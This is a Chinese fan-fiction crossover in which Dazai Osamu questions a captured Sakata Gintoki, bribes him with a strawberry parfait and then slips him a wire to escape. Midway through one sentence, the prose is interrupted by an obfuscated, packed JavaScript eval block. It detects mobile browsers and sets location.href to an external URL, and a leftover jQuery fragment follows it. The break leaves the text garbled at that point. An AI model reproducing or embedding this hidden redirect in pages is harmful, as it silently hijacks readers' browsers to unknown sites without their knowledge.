“终于决定要放我出去了吗?太好了,赶快给我把镣铐解开吧!”
“......如果不是来放我离开的,那难道是来给我送草莓芭菲的?我一天不摄入糖分,就浑身难受。”
哗啦哗啦——锁链摇晃发出声响。
“呸!你这家伙不仅嘴硬,想得也挺美!”
“喂喂喂,这位小哥,别这么激动嘛,我也没提什么过分的要求。唉!算了算了,真是拿你们没有办法。既然没有草莓芭菲,那最新的jump漫画也可以。我要求不高的。”
哗啦哗啦——铁链撞击的声音压制住了审问的声音,使得审问人不得不维持大声说话的状态。
“混蛋,这里是港口Mafia,你当这里是度假村啊!快、快说、咳咳!”
一直提着嗓子说话,声带理所当然变得疲惫,猝不及防的岔气一下子把拉高的气势拽了下来,“你是谁、哪个组织的、来这里干什么?”
“哎呀,我不是都跟你们说过了吗?我就是一个普通的小市民,自己在歌舞伎町开了一家万事屋,可惜手下没有员工,也没有什么生意。”
“你放屁!东京的歌舞伎町里压根没有什么万事屋!当我们港口Mafia好糊弄吗?你再不说实话可就要挨揍了!”
鞭子重重敲在地面上,骇人听闻的震颤声直直地传进门口少年的耳中。
他没急着推门进去,而是多站了一会儿,想听听门后被审讯的男人什么反应。
“揍我?”一声极轻的哂笑。
“如果你们敢动手的话,早就动手了,还用得着这样吓唬我吗?这种小聪明骗骗笨蛋可以,可休想骗过阿银我。”吊儿郎当的嗓音里听不出丝毫恐惧和慌乱,仿佛有恃无恐。
刚刚还大声呵斥威胁的人被戳中了哑穴一般,半晌憋不出一个字来。
门外的少年默默仰头,审问人完全不是那个男人的对手。
门后的气氛似乎陷入了凝滞。
哗啦哗啦——
金属撞击的声音持续不断,就像早上叫人起床的闹铃,聒噪且惹人心烦,
“够了!别再动来动去了,吵死人了!你这混蛋是故意的吧!”
“哈哈,怎么会呢?我只是站了一天有些累了,换个姿势舒服一点而已,毕竟你们没有给我坐下的打算嘛。”
如同挑衅一般,哗啦哗啦——
这场审问已经没有继续下去的意义了。
这个语调懒洋洋的男人在这场对话的最开始就下了套,不管是故意摇晃铁链制造噪音,还是故意激怒审问人的话语和语气。
他一步步试探,大胆验证自己的猜想,最后终于在审问人无能狂怒的状态中得到了这场胜利。
真是个激进的冒险分子,和那张看上去没有丝毫干劲的脸完全相反。
太宰治对着门伸出手。
审讯室内的审问人在努力压制怒气中,以免自己真的忍不住动手揍了面前这个让他气得牙痒的男人。毕竟在知道对方背后是什么组织之前就贸然动手的话,有可能会对港口Mafia不利。
审问人正做着深呼吸,身后锁住的门忽然被打开了。
门外走廊的灯光洒进稍显黯淡的审讯室,恰好照在坂田银时的眼睛上,刺得他本能地眯起眼。
来人笑嘻嘻的,怀里抱着一堆东西。
审问人的情绪被打断,迷茫地看了看锁眼,无比纳闷。他记得自己确实锁了门的。
他问太宰治:“你怎么到这里来了?”
太宰治:“这个人交给我来审讯。”
坂田银时来回看了看他们,大喜。原来他们是熟人!这不就好办了吗?
“救我救我,昨天是我把你从河里救上来的!”他无比激动地省略起因只讲结果,好似造成太宰治掉进河里的罪魁祸首不是他一样。
审问人看了眼一脸看到救星似的银发男人,又瞅了瞅太宰治,露出为难的神情。
太宰治又说了一遍:“你已经无法从他嘴里挖出什么了,不如交给我。”
审问人犹豫片刻,最后还是同意把审讯室留给他。两人交换位置,太宰治走进审讯室,怀里东西太多,不留神掉了一个出来,审问人定睛一看,哦豁,是漫画。
“......”
谁家好人审讯带漫画?用漫画抽打审讯对象让他招供吗?
审问人艰难思考,决定还是当成没看见吧!他目视前方走了出去,甚至还贴心地把审讯室的门带上。
太宰治搬来椅子,在坂田银时面前坐下。
坂田银时努力摇晃铁链,试图吸引太宰治的注意力,脸上堆起浮夸的笑:“快来帮我解开。”
太宰治充耳不闻,他从自己带来的一大堆东西里翻翻拣拣,摆在坂田银时面前,说:“你看看,这里面有你想要的jump漫画吗?”
坂田银时只扫了一眼就收回视线,又摇晃起铁链来。
“这种时候漫画就随它去了,不重要。”
太宰治意味不明地笑笑,颇为遗憾地耸了耸肩:“那看来这个世界是没有jump漫画了。”
这些漫画是他从最火热的街道、最大的商店里带回来的,他既没听说过什么jump漫画,也没查到任何相关的信息。在这里卖得最好的漫画杂志是《YoungAce》。
太宰治别有所指的话语落在坂田银时的耳中,令他微微眯起眼。
“你从别的世界来的吗?”太宰治凑近坂田银时开门见山,鸢色眼眸饶有兴趣地弯起,“你们的世界怎么样?好不好?”
虽说坂田银时没有特意遮掩,但被这么轻而易举地看出端倪,还是让他小小地惊讶了一下。毕竟穿越世界这种事,不管在谁听来都是难以相信的。
这令他多看了几眼面前尚且稚嫩的少年。
太宰治坦荡地直视回去。
“......也就那样吧。”坂田银时懒懒地动了动嘴皮,无能的幕府、猖獗的天人......还有他失败的前半生,没什么好说的。
太宰治观他神情,眼底流露出一点失望:“是吗......”那就没什么好期待的了。
太宰治兴致缺缺地介绍自己,一边把草莓芭菲拿出来,他做事细致到位,特地让店长打包好,放了冰镇用的冰块保温,以免化成一滩甜水。
坂田银时双眼一亮,所有不愉快都被他抛到脑后。锁链把他禁锢在一个逼仄的范围里,但这丝毫不影响他手上的动作。他毫不客气地拿过草莓芭菲,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410188|200654||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
随口交换姓名。
舌尖卷起甜丝丝的奶油,沁凉的温度迅速融化在口腔,就是这个熟悉的味道!
即便世界变换更移,但草莓芭菲依旧屹立!他愿封之为神!
坂田银时大口炫着糖分,瞥了眼从说完姓名后就一言不发的少年。
他比眼前这个少年多活了十几年,也曾在死人堆里摸爬滚打许多年,对世界愤怒过,也绝望过。
对方藏在眼底的看透一切的失望和茫然,他再熟悉不过。
坂田银时揉了揉鸟窝似的头发,有些无奈。
“分你一口?”
太宰治垂着眼帘,看见视野里被递来一勺草莓芭菲,他先是微微一愣,才抬起脸看向满眼都是对草莓芭菲的心疼的坂田银时。
“虽然我只是一个把自己的人生过得一塌糊涂的废柴大叔,但好歹也是个成年人,阅历还是挺丰富的。”坂田银时老成持重地叹了口气,“这草莓芭菲就当作是委托费了,所以阿治君,你有什么烦恼说来给阿银我听听吧。”
怀揣着一片好意的坂田银时在下一刻就看见前一秒还在忧郁的少年露出嫌弃的表情。
“喂,你那是什么表情啊!”
“我对男性吃过的东西可不感兴趣。”
坂田银时恼:“哈???”
太宰治:“另外,阿治君?噫!”
坂田银时大怒:“所以我才烦青春期的小鬼!”
太宰治拍拍沾灰的衣摆起身,把他带进来的东西又重新收拾好抱在怀里,往门的方向走。
坂田银时瞪着眼睛,语气从迟疑逐渐转成震惊:“等等、这些漫画、这些食物不是带给我的吗?你为什么又把它们拿走?你要把它们拿到哪里去?”
太宰治回头,无辜道:“当然是带走了,我又没有说这些是给你的。”
“我已经问到想要的信息了,谢谢这位、嗯——”太宰治顿了顿,扬起一个纯良的笑容,“废柴大叔。”
坂田银时被太宰治的无耻震撼得哑口无言。
这个世界太卑鄙,他想回家!
门在坂田银时焦急的神色中缓缓打开,太宰治一条腿已经踩在了室外。
坂田银时伸长胳膊呐喊:“等等!太宰君、阿治、阿治君!不要把我丢在这里啊,我好歹也救了你一次,带我一起走啊,阿治君!”
太宰治脚步顿住,坂田银时心下一喜,以为他回心转意,正准备再度开口表达他满心的肺腑之言。太宰治却脚尖一拐,径直转去了角落里。
他拿起斜倚在墙角的木刀,对坂田银时笑吟吟道:“下辈子再看见河里飘着人的话要记得无视。”
话音落下的瞬间,太宰治的手腕微不可查地抖了抖,一个看不清的小玩意儿从他的袖口飞向坂田银时。
坂田银时眸光一凝,动作迅速地张手接住,攥在拳头里,他立刻从触感上判断出是一根细铁丝。
“再见。”
门在坂田银时的面前关上。
“......”坂田银时睁着一双死鱼眼,胡乱抓了抓后脑勺,把本来就乱糟糟的头发抓得更加凌乱。
审讯室中响起一声悠悠的叹息。
“真是的,所以才说青春期小鬼最麻烦了。”